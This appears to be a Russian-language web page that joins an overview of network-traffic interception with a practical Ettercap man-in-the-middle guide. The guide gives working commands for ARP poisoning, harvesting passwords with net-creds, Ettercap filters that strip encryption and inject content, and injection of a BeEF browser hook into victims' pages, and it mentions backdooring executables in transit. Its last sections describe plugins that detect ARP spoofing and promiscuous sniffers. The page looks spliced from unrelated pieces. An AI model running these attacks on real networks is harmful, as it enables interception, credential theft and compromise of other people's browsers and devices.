Гид компьютерного мира - Информационный портал
  • Главная
  • Программы
  • Перенаправление SSH и HTTP трафика. Перенаправление трафика Внедрение вредоносных программ

Перенаправление SSH и HTTP трафика. Перенаправление трафика Внедрение вредоносных программ

Методы перехвата сетевого трафика

Прослушивание сети с помощью программ сетевых анализаторов, является первым, самым простым способом перехвата данных.

Для защиты от прослушивания сети применяются специальные программы, например, AntiSniff, которые способны выявлять в сети компьютеры, занятые прослушиванием сетевого трафика.

Программы-антисниферы для решения своих задач используют особый признак наличия в сети прослушивающих устройств – сетевая плата компьютера-снифера должна находиться в специальном режиме прослушивания. Находясь в режиме прослушивания, сетевые компьютеры особенным образом реагируют на IР-дейтаграммы, посылаемые в адрес тестируемого хоста. Например, прослушивающие хосты, как правило, обрабатывают весь поступающий трафик, не ограничиваясь только посланными на адрес хоста дейтаграммами. Имеются и другие признаки, указывающие на подозрительное поведение хоста, которые способна распознать программа AntiSniff.

Несомненно, прослушивание очень полезно с точки зрения злоумышленника, поскольку позволяет получить множество полезной информации – передаваемые по сети пароли, адреса компьютеров сети, конфиденциальные данные, письма и прочее. Однако простое прослушивание не позволяет хакеру вмешиваться в сетевое взаимодействие между двумя хостами с целью модификации и искажения данных. Для решения такой задачи требуется более сложная технология.

Чтобы перехватить и замкнуть на себя процесс сетевого взаимодействия между двумя хостами А и В злоумышленник может подменить IР-адреса взаимодействующих хостов своим IP-адресом, направив хостам А и В фальсифицированные сообщения ARP (Address Resolution Protocol – Протокол разрешения адресов).

Рис. 1 Ложные запросы ARP

Посмотрим, как хакер может воспользоваться протоколом ARP для выполнения перехвата сетевого взаимодействия между хостами А и В.

Для перехвата сетевого трафика между хостами А и В хакер навязывает этим хостам свой IP-адрес, чтобы А и В использовали этот фальсифицированный IP-адрес при обмене сообщениями. Для навязывания своего IР-адреса хакер выполняет следующие операции.

  • Злоумышленник определяет МАС-адреса хостов А и В, например, с помощью команды nbtstat из пакета W2RK.
  • Злоумышленник отправляет на выявленные МАС-адреса хостов А и В сообщения, представляющие собой фальсифицированные ARP-ответы на запросы разрешения IP-адресов хостов в МАС-адреса компьютеров. Хосту А сообщается, что IР-адресу хоста В соответствует МАС-адрес компьютера злоумышленника; хосту В сообщается, что IP-адресу хоста А также соответствует МАС-адрес компьютера злоумышленника.
  • Хосты А и В заносят полученные МАС-адреса в свои кэши ARP и далее ис-пользуют их для отправки сообщений друг другу. Поскольку IР-адресам А и В соответствует МАС-адрес компьютера злоумышленника, хосты А и В, ничего не подозревая, общаются через посредника, способного делать с их посланиями что угодно.

Для защиты от таких атак сетевые администраторы должны поддерживать базу данных с таблицей соответствия МАС-адресов и IP-адресов своих сетевых компьютеров.

В сетях UNIX такого рода атаку ложными запросами ARP можно реализовать с помощью системных утилит отслеживания и управления сетевым трафиком, например, arpredirect. К сожалению, в сетях Windows такие надежные утилиты, по-видимому, не реализованы. Например, на сайте NTsecurity можно загрузить утилиту GrabitAII, представленную как средство для перенаправления трафика между сетевыми хостами. Однако элементарная проверка работоспособности утилиты GrabitAII показывает, что до полного успеха в реализации ее функций еще далеко.

Чтобы перехватить сетевой трафик, злоумышленник может подменить реальный IP-адрес сетевого маршрутизатора своим IP-адресом, выполнив это, например, с помощью фальсифицированных ICMP-сообщений Redirect. Полученное сообщение Redirect хост А должен, согласно документу RFC-1122, воспринять как ответ на дейтаграмму, посланную другому хосту, например, В. Свои действия на сообщение Redirect хост А определяет, исходя из содержимого полученного сообщения Redirect, и если в Redirect задать перенаправление дейтаграмм из А в В по новому маршруту, именно это хост А и сделает.

Рис. 2 Ложная маршрутизация

Для выполнения ложной маршрутизации злоумышленник должен знать некоторые подробности об организации локальной сети, в которой находится хост А, в частности, IP-адрес маршрутизатора, через который отправляется трафик из хоста А в В. Зная это, злоумышленник сформирует IP-дейтаграмму, в которой IP-адрес отправителя определен как IP-адрес маршрутизатора, а получателем указан хост А. Также в дейтаграмму включается сообщение ICMP Redirect с полем адреса нового маршрутизатора, установленным как IP-адрес компьютера злоумышленника. Получив такое сообщение, хост А будет отправлять все сообщения по IP-адресу компьютера злоумышленника.

Для защиты от такой атаки следует отключить (например, с помощью брандмауэра) на хосте А обработку сообщений ICMP Redirect, а выявить IP-адрес компьютера злоумышленника может команда tracert (в Unix это команда tracerout). Эти утилиты способны найти появившийся в локальной сети дополнительный, непредусмотренный при инсталляции, маршрут, если конечно администратор сети проявит бдительность.

Приведенное выше примеры перехватов (которыми возможности злоумышленников далеко не ограничиваются) убеждают в необходимости защиты данных, передаваемых по сети, если в данных содержится конфиденциальная информация. Единственным методом защиты от перехватов сетевого трафика является использование программ, реализующих криптографические алгоритмы и протоколы шифрования, и позволяющих предотвратить раскрытие и подмену секретной информации. Для решения таких задач криптография предоставляет средства для шифрования, подписи и проверки подлинности передаваемых по защищенным протоколам сообщений.

Практическую реализацию всех криптографических методов защиты обмена информацией предоставляют сети VPN (Virtual Private Network – Виртуальные частные сети).

Перехват TCP-соединения

Наиболее изощренной атакой перехвата сетевого трафика следует считать захват TCP-соединения (TCP hijacking), когда хакер путем генерации и отсылки на атакуемых хост TCP-пакетов прерывает текущий сеанс связи с хостом. Далее, пользуясь возможностями протокола TCP по восстановлению прерванного TCP-соединения, хакер перехватывает прерванный сеанс связи и продолжает его вместо отключенного клиента.

Для выполнения атак перехвата TCP-соединения создано несколько эффективных утилит, однако все они реализованы для платформы Unix, и на сайтах Web эти утилиты представлены только в виде исходных кодов. Таким образом, от атак методом перехвата TCP-соединения проку не много.

Протокол TCP (Transmission Control Protocol – Протокол управления передачей) является одним из базовых протоколов транспортного уровня OSI, позволяющим устанавливать логические соединения по виртуальному каналу связи. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление потоком пакетов, организовывается повторная передача искаженных пакетов, а в конце сеанса канал связи разрывается. Протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим продвинутую систему идентификации сообщений и соединения.

Обзор программных пакетных снифферов

Все программные снифферы можно условно разделить на две категории: снифферы, поддерживающие запуск из командной строки, и снифферы, имеющие графический интерфейс. При этом отметим, что существуют снифферы, которые объединяют в себе обе эти возможности. Кроме того, снифферы отличаются друг от друга протоколами, которые они поддерживают, глубиной анализа перехваченных пакетов, возможностями по настройке фильтров, а также возможностью совместимости с другими программами.

Обычно окно любого сниффера с графическим интерфейсом состоит их трех областей. В первой из них отображаются итоговые данные перехваченных пакетов. Обычно в этой области отображается минимум полей, а именно: время перехвата пакета; IP-адреса отправителя и получателя пакета; MAC-адреса отправителя и получателя пакета, исходные и целевые адреса портов; тип протокола (сетевой, транспортный или прикладного уровня); некоторая суммарная информация о перехваченных данных. Во второй области выводится статистическая информация об отдельном выбранном пакете, и, наконец, в третьей области пакет представлен в шестнадцатеричном виде или в символьной форме - ASCII.

Практически все пакетные снифферы позволяют производить анализ декодированных пакетов (именно поэтому пакетные снифферы также называют пакетными анализаторами, или протокольными анализаторами). Сниффер распределяет перехваченные пакеты по уровням и протоколам. Некоторые анализаторы пакетов способны распознавать протокол и отображать перехваченную информацию. Этот тип информации обычно отображается во второй области окна сниффера. К примеру, любой сниффер способен распознавать протокол TCP, а продвинутые снифферы умеют определять, каким приложением порожден данный трафик. Большинство анализаторов протоколов распознают свыше 500 различных протоколов и умеют описывать и декодировать их по именам. Чем больше информации в состоянии декодировать и представить на экране сниффер, тем меньше придется декодировать вручную.

Одна из проблем, с которой могут сталкиваться анализаторы пакетов, - невозможность корректной идентификации протокола, использующего порт, отличный от порта по умолчанию. К примеру, с целью повышения безопасности некоторые известные приложения могут настраиваться на применение портов, отличных от портов по умолчанию. Так, вместо традиционного порта 80, зарезервированного для web-сервера, данный сервер можно принудительно перенастроить на порт 8088 или на любой другой. Некоторые анализаторы пакетов в подобной ситуации не способны корректно определить протокол и отображают лишь информацию о протоколе нижнего уровня (TCP или UDP).

Существуют программные снифферы, к которым в качестве плагинов или встроенных модулей прилагаются программные аналитические модули, позволяющие создавать отчеты с полезной аналитической информацией о перехваченном трафике.

Другая характерная черта большинства программных анализаторов пакетов - возможность настройки фильтров до и после захвата трафика. Фильтры выделяют из общего трафика определенные пакеты по заданному критерию, что позволяет при анализе трафика избавиться от лишней информации.

Альтернативы Ettercap

Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX - одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата - это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

Net-Creds снифит:

  • Посещённые URL
  • отправленные запросы POST
  • логины/пароли из форм HTTP
  • логины/пароли при базовой HTTP аутентификации
  • поиски HTTP
  • логины/пароли FTP
  • логины/пароли IRC
  • логины/пароли POP
  • логины/пароли IMAP
  • логины/пароли Telnet
  • логины/пароли SMTP
  • SNMP community string (общую строку)
  • все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
  • Kerberos

Хорошая подборка перехватываемых, а driftnet в этом плане попроще - только показывает перехваченные изображения.

Переключите вашу машину в режим пересылки (форвардинга).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем Ettercap с графическим интерфейсом (-G ):

Ettercap -G

Теперь выбираем Hosts , в нём подпункт Scan for hosts . После окончания сканирования выберите Hosts list :

В качестве Цели1 выберите роутер (Add to Target 1 ), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2 ).

Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

Если провести сканирование с помощью , то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

Nmap -sn 192.168.1.0/24

Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

Nmap -O 192.168.1.0/24

Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? 😉 LOL

Именно её мы и добавляем в качестве второй цели.

Теперь переходим к пункту меню Mitm . Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections .

Начинаем собирать урожай, в одном окне запускаем

Net-creds

в другом (обе программы можно запускать без опций)

Driftnet

Сразу же пошёл сбор данных:

В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

1.2 Ettercap + Burp Suite
3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

В меню View нам доступны вкладки Connections и Profiles . Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections - это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

Не надо слишком сильно полагаться именно на профили - помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

В Connections самые перспективные данные помечены звёздочкой:

Можно кликнуть два раза на эти записи для просмотра подробностей:

Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

Пойманная базовая аутентификация:

Логин-пароль для Яндекса (выделено внизу):

Это перехваченные учётные данные для Вконтакте:

Также самые интересные данные собираются в нижней консоли:

Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

Опции ведения журналов: -w, --write записать перехваченные данные в pcapfile -L, --log записать весь трафик в этот -l, --log-info записать только пассивную информацию в этот -m, --log-msg записать все сообщения в этот -c, --compress использовать сжатие gzip для файлов логов

4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

В общем, если у вас фильтры не заработали - то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter . Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

В файл с именем img_replacer.filter скопируйте:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }

Скомпилируйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

Ettercap -G -F img_replacer.ef

Примечание : Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); } }

Синтаксис написания фильтров подробно описан , а далее ещё несколько примеров:

# замена текста в пакете: if (ip.proto == TCP && search(DATA.data, "lol")){ replace("lol", "smh"); msg("filter ran"); } # показать сообщение, если tcp портом является 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # записать весь telnet трафик, также выполнить./program на каждый пакет if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, "./logfile.log"); } # некоторые операции с полезной нагрузкой пакетов if (DATA.data + 20 == 0x4142) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # отбросить все пакеты, содержащие "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # убийство пакетов if (ip.ttl < 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Подмена данных с помощью Burp

Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options . Находим там Match and Replace . Нажимаем Add для добавления нового правила.

  • Request header - это заголовок запроса
  • Request body - тело запроса
  • Response header - заголовок ответа
  • Response body - тело ответа
  • Request param name - Имя параметра запроса
  • Request param value - Значение параметра запроса
  • Request first line - Первая строка запроса

Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует - этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю.)))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

.*

No Title

Поставьте галочку на Regex match .

Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

Поставьте галочку на Regex match .

В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст - что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым - всё зависит от вашей фантазии.

Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ - то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF

Чтобы начать использовать возможности BeEF , нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

Следующие два метода различаются только методом внедрения этой строки.

5.1 Подцепление BeEF с помощью фильтров Ettercap

[раздел будет подготовлен позже]

5.2 Подцепление BeEF с помощью Burp

Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:

В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена

Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

6. Заражение бэкдорами

Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy . К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory : в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite. Пошаговый алгоритм представлен , не имеет смысла ещё раз его переписывать в этот раздел.

7. Использование плагинов Ettercap

Информацию о плагинах Ettercap можно найти . Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:

P, --plugin запустить этот

Также плагины можно загрузить из графического интерфейса:

[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop

Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

Ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // password for mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/255.255.255.0 fe80::a00:27ff:fea3:84a/64 SSL dissection needs a valid "redir_command_on" script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20530 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... Starting Unified sniffing... Text only Interface activated... Hit "h" for inline help Activating arp_cop plugin... arp_cop: plugin running... arp_cop: (new host) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 ...........................

7.2 autoadd

Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison

Он выполняет проверку - успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof

Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn

Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner

Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Пример удачного угадывания двух сетевых карт, находящихся в неразборчивом режиме:

Развернуть

